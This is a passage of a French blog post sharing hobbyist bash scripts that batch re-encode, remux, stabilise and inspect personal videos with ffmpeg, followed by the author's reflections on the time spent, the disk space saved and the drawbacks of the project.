            10. stabiliser_video_par_lot_en_testant_les_10_qualites : script pour stabiliser une vidéo avec une image « secouée » en testant les 10 qualités possibles automatiquement. Vous pouvez faire des tests, chez moi, ce n’était pas probant. Le script est à revoir probablement.
            11. stabiliser_video_par_lot_version : idem que ci-dessus mais vous choisissez le paramètre de la stabilisation.
            12. creer_video_cote_a_cote_par_lot : pour comparer deux vidéos en en créant une nouvelle avec les deux côte à côte (je l’utilise pour comparer la vidéo d’origine et la vidéo stabilisée).
            13. supprimer_bande_son_video : ne conserve que la vidéo, supprime le son (pour des vidéos où le son ne présente aucun intérêt). Et c’est parti !

            convertion_par_lot_videos_en_265

            #/bin/bash
            # conversion par lot de fichier video au format H265 avec audio en mp3 qualité 256k
            # nice -19 signifie que le programme aura la priorité la plus faible, ce qui ne devrait pas beaucoup ralentir l'exécution des autres programmes (en théorie tout au moins...)
            # si vous souhaitez interrompre le programme pour avoir accès à tout le processeur, tapez l'instruction top puis identifiez le PID UTIL des processeurs ffmpeg concernés puis tapez kill - STOP numero_pid_util. Pour relancer le processus, tapez kill - CONT numero_pid_util
            echo "Ce script va réencoder vos vidéos (MKV MP4 MTS AVI MOV WEBM FLV MPG MPEG WMV 3GP RM ASX VOB F4V MKS M4V OGV M2V MPV TS M2TS AVC HEVC M1V M2V MPV) en H265, le son en MP3 256k et au format de conteneur MKV en 1 ou 2 passes. Vous allez pouvoir choisir le bitrate d'encodage pour la vidéo, le codec et le nombre de passe. Les extensions des vidéos peuvent être en minuscules ou majuscules mais pas un mélange des deux. Les fichiers originaux seront déplacés dans le dossier originaux et les fichiers convertis dans le dossier convertis_x265"
            echo -n "Entrez le bitrate -sans espace - que vous souhaitez utiliser : (4000 recommandé pour de la video FullHD, 10000 pour de la 4K) "
            read bitrate
            # les lignes (rm x265_2pass.log / rm x265_2pass.log.cutree / rm x265_2pass.log.cutree.temp / rm x265_2pass.log.temp) suppriment les fichiers générés lors des deux passes
            # pour conserver l'audio, remplacer -c:a libmp3lame -b:a 256k par -c:a copy
            # pour réduire la qualité audio, remplacer le 256k dans "-c:a libmp3lame -b:a 256k" par un nombre plus petit (par exemple 128k ou 92k)
            echo -n "Souhaitez-vous une passe ou deux passes ? Taper 1 pour une passe (plus rapide mais de moins bonne qualité) ou 2 pour deux passes (plus lent mais la vidéo finale est de meilleure qualité) :  "
            read passe
            if [ "$passe" = "1" ] ; then
            mkdir originaux
            # crée un répertoire où seront déplacés les fichiers originaux après conversion
            mkdir convertis_x265
            #crée un répertoire où seront déplacés les fichiers convertis
                for i in *.mkv *.MKV *.mp4 *.MP4 *.mts *.MTS *.avi *.AVI *.mov *.MOV *.webm *.WEBM *.flv *.FLV *.mpg *.MPG *.mpeg *.MPEG *.wmv *.WMV *.3gp *.3GP *.rm *.RM *.asx *.ASX *.vob *.VOB *.f4v *.F4V *.mks *.MKS *.m4v *.M4V *.ogv *.OGV *.m2v *.M2V *.mpv *.MPV *.ts *.TS *.m2ts *.M2TS *.avc *.AVC *.hevc *.HEVC *.m1v *.M1V *.m2v *.M2V *.mpv *.MPV ; do
                nice -19 ffmpeg -i "$i" -c:v "libx265" -b:v "${bitrate}k" -"x265"-params pass=1 -c:a libmp3lame -b:a 256k "$i.mkv"
                mv "$i.mkv" ./convertis_x265
                #déplace les fichiers convertis
                mv "$i" ./originaux
                #déplace les fichiers originaux
                done
            elif [ "$passe" = "2" ]; then
            mkdir originaux
            # crée un répertoire où seront déplacés les fichiers originaux après conversion
            mkdir convertis_x265
            #crée un répertoire où seront déplacés les fichiers convertis
                for i in *.mkv *.MKV *.mp4 *.MP4 *.mts *.MTS *.avi *.AVI *.mov *.MOV *.webm *.WEBM *.flv *.FLV *.mpg *.MPG *.mpeg *.MPEG *.wmv *.WMV *.3gp *.3GP *.rm *.RM *.asx *.ASX *.vob *.VOB *.f4v *.F4V *.mks *.MKS *.m4v *.M4V *.ogv *.OGV *.m2v *.M2V *.mpv *.MPV *.ts *.TS *.m2ts *.M2TS *.avc *.AVC *.hevc *.HEVC *.m1v *.M1V *.m2v *.M2V *.mpv *.MPV ; do
                nice -19 ffmpeg -y -i "$i" -c:v "libx265" -b:v "${bitrate}k" -"x265"-params pass=1 -an -f null /dev/null && \
                #première passe
                nice -19 ffmpeg -i "$i" -c:v "libx265" -b:v "${bitrate}k" -"x265"-params pass=2 -c:a libmp3lame -b:a 256k "$i.mkv"
                mv "$i.mkv" ./convertis_x265
                #déplace les fichiers convertis
                mv "$i" ./originaux
                #déplace les fichiers originaux
            #les lignes suivantes suivantes suppriment les fichiers temporaires de la première passe en cas d'interruption.
                rm x265_2pass.log
                rm x265_2pass.log.cutree
                rm x265_2pass.log.cutree.temp
                rm x265_2pass.log.temp
                rm x264_2pass.log
                rm x264_2pass.log.cutree
                rm x264_2pass.log.cutree.temp
                rm x264_2pass.log.temp
                done
            else
                echo "Il faut taper 1 ou 2, rien d'autre. Relancez le script !"
            fi
                rm x265_2pass.log
                rm x265_2pass.log.cutree
                rm x265_2pass.log.cutree.temp
                rm x265_2pass.log.temp
                rm x264_2pass.log
                rm x264_2pass.log.cutree
                rm x264_2pass.log.cutree.temp
                rm x264_2pass.log.temp

            convertion_par_lot_videos_en_265_une_passe_crf

            #!/bin/bash
            # conversion par lot de fichier video au format H265 avec audio en mp3 qualité 320k
            # nice -19 signifie que le programme aura la priorité la plus faible, ce qui ne devrait pas beaucoup ralentir l'exécution des autres programmes.
            # si vous souhaitez interrompre le programme pour avoir accès à tout le processeur, tapez l'instruction top puis identifiez le PID UTIL des processeurs ffmpeg concernés puis tapez kill - STOP numero_pid_util. Pour relancer le processus, tapez kill - CONT numero_pid_util
            
            echo "Ce script va réencoder vos vidéos (MKV, MP4, MTS, AVI, MOV, WEBM FLV) en H265, le son en MP3 256k et au format de conteneur MKV en 1 passe. Vous allez pouvoir choisir CRF (constant rate factor) pour la vidéo. Les extensions des vidéos peuvent être en minuscules ou majuscules mais pas un mélange des deux."
            echo -n "Entrez le CRF que vous souhaitez utiliser : (entre 1 et 51 - 1 pour la meilleure qualité, 51 pour la plus mauvaise) - 28 est recommandé : "
            read crf
            
            echo -n "Entrez la vitesse que vous souhaitez utiliser : (ultrafast, superfast, veryfast, faster, fast, medium, slow, slower, veryslow) - votre choix joue sur la vitesse de traitement et la qualité. Superfast sera très rapide mais de moins bonne qualité. medium est le choix recommandé. Votre choix : "
            read speed
            
            # on peut modifier le fichier de sortie en ajoutant un répertoire : "$i.mkv" devient "/home/perso/mon_repertoire/$i.mkv"
            # les lignes (rm x265_2pass.log / rm x265_2pass.log.cutree / rm x265_2pass.log.cutree.temp / rm x265_2pass.log.temp) suppriment les fichiers générés lors des deux passes
            # pour conserver l'audio, remplacer -c:a libmp3lame -b:a 256k par -c:a copy
            # pour réduire la qualité audio, remplacer le 256k dans "-c:a libmp3lame -b:a 256k" par un nombre plus petit (par exemple 128k ou 92k)
            mkdir originaux
            # crée un répertoire où seront déplacés les fichiers originaux après conversion
            mkdir convertis_x265
            #crée un répertoire où seront déplacés les fichiers convertis
            
                for i in *.mkv *.MKV *.mp4 *.MP4 *.mts *.MTS *.avi *.AVI *.mov *.MOV *.webm *.WEBM *.flv *.FLV *.mpg *.MPG *.mpeg *.MPEG *.wmv *.WMV *.3gp *.3GP *.rm *.RM *.asx *.ASX *.vob *.VOB *.f4v *.F4V *.mks *.MKS *.m4v *.M4V *.ogv *.OGV *.m2v *.M2V *.mpv *.MPV *.ts *.TS *.m2ts *.M2TS *.avc *.AVC *.hevc *.HEVC *.m1v *.M1V *.m2v *.M2V *.mpv *.MPV ;
                do
                nice -19 ffmpeg -i "$i" -c:v libx265 -crf "$crf" -preset "$speed" -c:a libmp3lame -b:a 256k "$i.mkv"
            
                mv "$i.mkv" ./convertis_x265
                #déplace les fichiers convertis
            
                mv "$i" ./originaux
                #déplace les fichiers originaux
                done
            
            #les lignes suivantes suivantes suppriment les fichiers temporaires de la première passe en cas d'interruption.
                rm x265_2pass.log
                rm x265_2pass.log.cutree
                rm x265_2pass.log.cutree.temp
                rm x265_2pass.log.temp
                rm x264_2pass.log
                rm x264_2pass.log.cutree
                rm x264_2pass.log.cutree.temp
                rm x264_2pass.log.temp

            convertion_par_lot_videos_en_xvid

            #!/bin/bash
            # ce script balaie tous les fichiers d'un même répertoire et va convertir les AVI en XVID et conserver le son d'origine
            # nice -19 signifie que le programme aura la priorité la plus faible, ce qui ne devrait pas beaucoup ralentir l'exécution des autres programmes.
            # si vous souhaitez interrompre le programme pour avoir accès à tout le processeur, tapez l'instruction top puis identifiez le PID UTIL des processeurs ffmpeg concernés puis tapez kill - STOP numero_pid_util. Pour relancer le processus, tapez kill - CONT numero_pid_util
            
            echo "Ce script va réencoder vos vidéos AVI en XVID, conserver le son d'origine et au format de conteneur MKV en 2 passes. Les extensions des vidéos (AVI ou avi) peuvent être en minuscules ou majuscules mais pas un mélange des deux. La convertion directe de MJPEG vers 265 pose des problèmes de couleurs. Il faut donc passer par XVID d'abord (voir https://stackoverflow.com/questions/71397605/ffmpeg-mjpeg-h-265-smeared-color-on-output-video-file )"
            # on peut modifier le fichier de sortie en ajoutant un répertoire : "$i.mkv" devient "/home/perso/mon_repertoire/$i.mkv"
            # pour conserver l'audio, remplacer -c:a libmp3lame -b:a 256k par -c:a copy
            # pour réduire la qualité audio, remplacer le 256k dans "-c:a libmp3lame -b:a 256k" par un nombre plus petit (par exemple 128k ou 92k)
            
            mkdir originaux
            # crée un répertoire où seront déplacés les fichiers originaux après conversion
            
            mkdir convertis_xvid
            #crée un répertoire où seront déplacés les fichiers convertis
            
                for i in *.avi *.AVI ; do
                nice -19 ffmpeg -y -i "$i" -c:v mpeg4 -vtag xvid -b:v 16000k -pass 1 -an -f avi /dev/null
                ffmpeg -i "$i" -c:v mpeg4 -vtag xvid -b:v 16000k -pass 2 -c:a copy "$i.mkv"
            
                mv "$i.mkv" ./convertis_xvid
                #déplace les fichiers convertis
            
                mv "$i" ./originaux
                #déplace les fichiers originaux
            
                done

            convertion_vers_mkv_par_lot

            #!/bin/bash
            # conversion par lot de fichiers vers mkv - mofifier l'extension si nécessaire - supprimer les extensions d'origine avec krename ensuite. Attention, s'il y a déjà des fichiers MKV, ils seront reconvertis en MKV
            
            mkdir originaux
            # crée un répertoire où seront déplacés les fichiers originaux après conversion
            mkdir convertis_mkv
            #crée un répertoire où seront déplacés les fichiers convertis
            
                for i in *.mkv *.MKV *.mp4 *.MP4 *.mts *.MTS *.avi *.AVI *.mov *.MOV *.webm *.WEBM *.flv *.FLV *.mpg *.MPG *.mpeg *.MPEG *.wmv *.WMV *.3gp *.3GP *.rm *.RM *.asx *.ASX *.vob *.VOB *.f4v *.F4V *.mks *.MKS *.m4v *.M4V *.ogv *.OGV *.m2v *.M2V *.mpv *.MPV *.ts *.TS *.m2ts *.M2TS *.avc *.AVC *.hevc *.HEVC *.m1v *.M1V *.m2v *.M2V *.mpv *.MPV ; do
            
            
            #    autre chose trouvé sur internet avec bug : ffmpeg -flags +genpts -i "$i" -c copy -sn "$i.mkv"
            
            nice -19 ffmpeg -y -i "$i" -c:v copy -c:a copy "$i.mkv"
              mv "$i.mkv" ./convertis_mkv
                #déplace les fichiers convertis
                mv "$i" ./originaux
                #déplace les fichiers originaux
            
            done

            convertion_videos_en_son_par_lot

            #!/bin/bash
            # conversion par lot de fichiers vers mkv - mofifier l'extension si nécessaire - supprimer les extensions d'origine avec krename ensuite. Attention, s'il y a déjà des fichiers MKV, ils seront reconvertis en MKV
            
            mkdir originaux
            # crée un répertoire où seront déplacés les fichiers originaux après conversion
            mkdir convertis_mkv
            #crée un répertoire où seront déplacés les fichiers convertis
            
                for i in *.mkv *.MKV *.mp4 *.MP4 *.mts *.MTS *.avi *.AVI *.mov *.MOV *.webm *.WEBM *.flv *.FLV *.mpg *.MPG *.mpeg *.MPEG *.wmv *.WMV *.3gp *.3GP *.rm *.RM *.asx *.ASX *.vob *.VOB *.f4v *.F4V *.mks *.MKS *.m4v *.M4V *.ogv *.OGV *.m2v *.M2V *.mpv *.MPV *.ts *.TS *.m2ts *.M2TS *.avc *.AVC *.hevc *.HEVC *.m1v *.M1V *.m2v *.M2V *.mpv *.MPV ; do
            
            
            #    autre chose trouvé sur internet avec bug : ffmpeg -flags +genpts -i "$i" -c copy -sn "$i.mkv"
            
            nice -19 ffmpeg -y -i "$i" -c:v copy -c:a copy "$i.mkv"
              mv "$i.mkv" ./convertis_mkv
                #déplace les fichiers convertis
                mv "$i" ./originaux
                #déplace les fichiers originaux
            
            done

            convertir_son_en_mp3_garder_video

            #!/bin/bash
            echo -n "Ce script va convertir le son des videos en mp3 sans toucher la video et ajouter l'extension .MKV à la fin du fichier. Choisissez la qualité mp3 (256 recommandé) : "
            read bitratemp3
            
            mkdir originaux
            # crée un répertoire où seront déplacés les fichiers originaux après conversion
            mkdir convertis_mp3
            #crée un répertoire où seront déplacés les fichiers convertis
            
            
            for i in *.mkv *.MKV *.mp4 *.MP4 *.mts *.MTS *.avi *.AVI *.mov *.MOV *.webm *.WEBM *.flv *.FLV *.mpg *.MPG *.mpeg *.MPEG *.wmv *.WMV *.3gp *.3GP *.rm *.RM *.asx *.ASX *.vob *.VOB *.f4v *.F4V *.mks *.MKS *.m4v *.M4V *.ogv *.OGV *.m2v *.M2V *.mpv *.MPV *.ts *.TS *.m2ts *.M2TS *.avc *.AVC *.hevc *.HEVC *.m1v *.M1V *.m2v *.M2V *.mpv *.MPV ; do
            
                nice -19 ffmpeg -i "$i" -c:v copy -c:a libmp3lame -b:a "${bitratemp3}k" "$i.mkv"
            
                mv "$i.mkv" ./convertis_mp3
                #déplace les fichiers convertis
                mv "$i" ./originaux
                #déplace les fichiers originaux
            done

            extraire_image_precise_d_une_video

            #!/bin/bash
            
            
            echo -n "Entrez le numéro de l'image que vous souhaitez extraire (attention, la numérotation commence à 0 donc si vous souhaitez la frame 536, il faut saisir 535) "
            read num_frame
            
            
            for i in *.mkv *.MKV *.mp4 *.MP4 *.mts *.MTS *.avi *.AVI *.mov *.MOV *.webm *.WEBM *.flv *.FLV *.mpg *.MPG *.mpeg *.MPEG *.wmv *.WMV *.3gp *.3GP *.rm *.RM *.asx *.ASX *.vob *.VOB *.f4v *.F4V *.mks *.MKS *.m4v *.M4V *.ogv *.OGV *.m2v *.M2V *.mpv *.MPV *.ts *.TS *.m2ts *.M2TS *.avc *.AVC *.hevc *.HEVC *.m1v *.M1V *.m2v *.M2V *.mpv *.MPV ; do
            
            
            
            nice -19 ffmpeg -i "$i" -vf "select=eq(n\,$num_frame)" -vframes 1 screenshot_frame_"$num_frame"_"$i".png
            
            done

            recuperer_bitrate_video_par_lot

            #!/bin/bash
            
            #recherche le bitrate des videos de façon récursive
            find . \( -iname "*.mkv" -or -iname "*.mov" -or -iname "*.mts" -or -iname "*.mp4" -or -iname "*.mpg" -or -iname "*.mpeg" -or -iname "*.flv" -or -iname "*.avi" -or -iname "*.webm" -or -iname "*.wmv" -or -iname "*.3gp" -or -iname "*.rm" -or -iname "*.asx" -or -iname "*.vob" -or -iname "*.f4v" -or -iname "*.mks" -or -iname "*.m4v" -or -iname "*.ogv" -or -iname "*.m2v"  -or -iname "*.mpv" -or -iname "*.ts" -or -iname "*.m2ts" -or -iname "*.avc" -or -iname "*.hevc" -or -iname "*.m1v" -or -iname "*.m2v" -or -iname "*.mpv" \) -print0 | xargs -0 -i{} sh -c " echo -n '{} ' && ffmpeg -i '{}' 2>&1 | sed -n -e 's/^.*bitrate: //p' " > result_bitrate.csv
            #ecrit le bitrate de toutes les videos d'un dossier dans le fichier result_mts.csv.
            # Ouvrir avec tableur et choisir séparateur ESPACE pour mieux visualiser les bitrate

            recuperer_toutes_infos_video_par_lot

            #!/bin/bash
            
            #recherche les informations des videos
            find . \( -iname "*.mkv" -or -iname "*.mov" -or -iname "*.mts" -or -iname "*.mp4" -or -iname "*.mpg" -or -iname "*.mpeg" -or -iname "*.flv" -or -iname "*.avi" -or -iname "*.webm" -or -iname "*.wmv" -or -iname "*.3gp" -or -iname "*.rm" -or -iname "*.asx" -or -iname "*.vob" -or -iname "*.f4v" -or -iname "*.mks" -or -iname "*.m4v" -or -iname "*.ogv" -or -iname "*.m2v"  -or -iname "*.mpv" -or -iname "*.ts" -or -iname "*.m2ts" -or -iname "*.avc" -or -iname "*.hevc" -or -iname "*.m1v" -or -iname "*.m2v" -or -iname "*.mpv" \) -print0 | xargs -0 -i{} sh -c " echo -n '{} ' && ffmpeg -i '{}' 2>&1 | sed -n -e 's/^.*Video: //p' " > result_toutes_les_infos.csv
            
            
            #ecrit les informations toutes les videos d'un dossier dans le fichier result_toutes_les_infos.csv.
            #Ouvrir avec tableur et choisir séparateur ESPACE pour mieux visualiser les bitrate

            stabiliser_video_par_lot_version

            #!/bin/bash
            # stabiliser des videos par lot
            
            echo -n "Sélectionnez la stabilité de la vidéo que vous souhaitez : 1 (très stable) jusqu'à 10 (très instable)  "
            read stabilite
            
            mkdir originaux
            # crée un répertoire où seront déplacés les fichiers originaux après conversion
            mkdir stabilisee
            #crée un répertoire où seront déplacés les fichiers convertis
            
            for i in *.mkv *.MKV *.mp4 *.MP4 *.mts *.MTS *.avi *.AVI *.mov *.MOV *.webm *.WEBM *.flv *.FLV *.mpg *.MPG *.mpeg *.MPEG *.wmv *.WMV *.3gp *.3GP *.rm *.RM *.asx *.ASX *.vob *.VOB *.f4v *.F4V *.mks *.MKS *.m4v *.M4V *.ogv *.OGV *.m2v *.M2V *.mpv *.MPV *.ts *.TS *.m2ts *.M2TS *.avc *.AVC *.hevc *.HEVC *.m1v *.M1V *.m2v *.M2V *.mpv *.MPV ; do
            
                nice -19 ffmpeg -i "$i" -vf vidstabdetect=shakiness=$stabilite:accuracy=15 -f null - && \
            
            #shakiness=10 peut etre modifié en mettant shakiness = nombre_entre_1_et_10 : 1 video stable, 10 video très instable
            
                nice -19 ffmpeg -i "$i" -vf vidstabdetect=shakiness=$stabilite:accuracy=15 -f null -&& nice -19 ffmpeg -i "$i" -vf vidstabtransform=smoothing=30:input="transforms.trf" "stabilisee_$i"
            
            rm transforms.trf
            
            mv "stabilisee_$i" ./stabilisee
                #déplace les fichiers convertis
                mv "$i" ./originaux
                #déplace les fichiers originaux
            done

            creer_video_cote_a_cote_par_lot

            #!/bin/bash
            #ce script va créer une vidéo à partir de deux vidéos, l'une que l'on peut nommer ma_video.mkv et l'autre qui doit alors se nommer stabilisee_ma_video.mkv
            #les deux vidéos seront côte à côte, ce qui permet de les comparer
            for i in *.mkv *.MKV *.mp4 *.MP4 *.mts *.MTS *.avi *.AVI *.mov *.MOV *.webm *.WEBM *.flv *.FLV *.mpg *.MPG *.mpeg *.MPEG *.wmv *.WMV *.3gp *.3GP *.rm *.RM *.asx *.ASX *.vob *.VOB ; do
            
            
            # la video d'origine correspond à $i et l'autre video doit commencer par "stabilisee" mais il suffit de changer le prefixe si necessaire
            
                ffmpeg -i "$i" -i "stabilisee_$i" -filter_complex "[0:v]setpts=PTS-STARTPTS, pad=iw*2:ih[bg]; [1:v]setpts=PTS-STARTPTS[fg]; [bg][fg]overlay=w" "cote_a_cote_$i"
            
            
            done

            supprimer_bande_son_video

            #!/bin/bash
            #supprimer la bande son de toutes les videos (au format voir ci-dessous) d'un même répertoire et crée un fichier MKV sans bande son. Ne réencode pas la vidéo.
            
            mkdir originaux
            # crée un répertoire où seront déplacés les fichiers originaux après conversion
            mkdir sans_son
            #crée un répertoire où seront déplacés les fichiers convertis
            
            
                for i in *.mkv *.MKV *.mp4 *.MP4 *.mts *.MTS *.avi *.AVI *.mov *.MOV *.webm *.WEBM *.flv *.FLV *.mpg *.MPG *.mpeg *.MPEG *.wmv *.WMV *.3gp *.3GP *.rm *.RM *.asx *.ASX *.vob *.VOB *.f4v *.F4V *.mks *.MKS *.m4v *.M4V *.ogv *.OGV *.m2v *.M2V *.mpv *.MPV *.ts *.TS *.m2ts *.M2TS *.avc *.AVC *.hevc *.HEVC *.m1v *.M1V *.m2v *.M2V *.mpv *.MPV ; do
                nice -19 ffmpeg -i "$i" -c copy -an "$i.mkv"
            
                mv "$i.mkv" ./sans_son
                #déplace les fichiers convertis
                mv "$i" ./originaux
                #déplace les fichiers originaux
            
            
                done

            stabiliser_video_par_lot_en_testant_les_10_qualites

            #!/bin/bash
            # test toutes les qualités de stabilisation pour un même fichier
            
            # test les 10 qualités de stabilité
            
                    for qualite in 1 2 3 4 5 6 7 8 9 10 ; do
                        for i in *.mkv ; do
            
                        # nice -19 ffmpeg -i "$i" -vf vidstabdetect=shakiness=$qualite:accuracy=15 -f null - && \
            
                        #shakiness=10 peut etre modifié en mettant shakiness = nombre_entre_1_et_10 : 1 video stable, 10 video très instable
            
                        nice -19 ffmpeg -i "$i" -vf vidstabdetect=shakiness=$qualite:accuracy=15 -f null -&& nice -19 ffmpeg -i "$i" -vf vidstabtransform=smoothing=30:input="transforms.trf" "stabilisee_$i_$qualite.mp4"
            
                        rm transforms.trf
            
                        done
            
            
                    done

            En conclusion

            Il faut du temps et de l’envie pour se lancer dans cette aventure, même si le CPU fait 80 % du travail. Mais les 20 % restant ne sont pas à négliger. Entre les copier-coller qu’il ne faut pas rater, le classement des vidéos par bitrate ou dimension, les vidéos réencondées qu’il faut visionner (en accéléré) pour s’assurer qu’elles sont correctes, etc. il faut vraiment rester concentré pour éviter d’oublier une vidéo ou, pire, de l’effacer alors qu’elle n’a pas été réencondée.

            Les avantages

            Mais je ne regrette pas tout ce temps, surtout pour avoir revisionné quasiment toutes mes vidéos, celle de mes enfants bébé (le coup de vieux en pleine figure), les moments en famille, les grands-parents disparus… Cela a été des moments vraiment agréables.

            Cela m’a également permis de ranger des vidéos qui n’étaient pas dans le bon répertoire ou de renommer celles qui comportaient une erreur dans leur nom.

            J’ai maintenant toutes mes vidéos avec le même format de conteneur (MKV), et les mêmes codec vidéo et audio, ce qui facilitera grandement un réencodage ultérieur.

            Et puis – c’était l’un des objectifs – le gain de place est très important puisque mon disque dur est passé de 90 % à 48 % d’occupation (j’ai fait aussi un peu de ménage donc ce gain ne provient pas que du réencodage des vidéos).

            Les inconvénients

            Est-ce une bonne idée de mettre tous ses œufs dans le même panier (un seul format de conteneur, un seul codec video, un seul codec audio) , même si ces formats sont libres et, pour H265, lisible avec des logiciels libres, ce qui est tout de même une bonne assurance pour l’avenir ?

            Du temps, du temps, et encore du temps : il faut en avoir pour ce projet (mais j’espère que les scripts vous permettront d’en gagner)

            Cela consomme de l’énergie et, si beaucoup de gens veulent réencoder leurs vidéos, l’impact environnemental ne sera pas négligeable.

            L’opération monopolise un ordinateur (nice -19 ne m’a pas paru très efficace quand je lançais trois encodages simultanément!). Mais cela peut être l’occasion d’en utiliser un qui dort dans un placard et qui pourrait ainsi resservir.

            Si c’était à refaire…

            • Je le referai, sans aucun doute !
            • J’essaierai de conserver les métadonnées (date, heure, coordonnées GPS) de mes vidéos (même si les informations les plus importantes sont dans leur nom) ;
            • Je tenterai d’utiliser le GPU pour le réencodage, ce qui réduirait le temps de calcul.

            Note pour le prochain confinement :

            [1] : je n'ai pas réussi à trouver l'équivalent de la commande jhead -autorot -nf%Y_%m_%d_%H%M_%S_ *.jpg pour les videos

            Commentaires : voir le flux Atom ouvrir dans le navigateur

            ❌
            ❌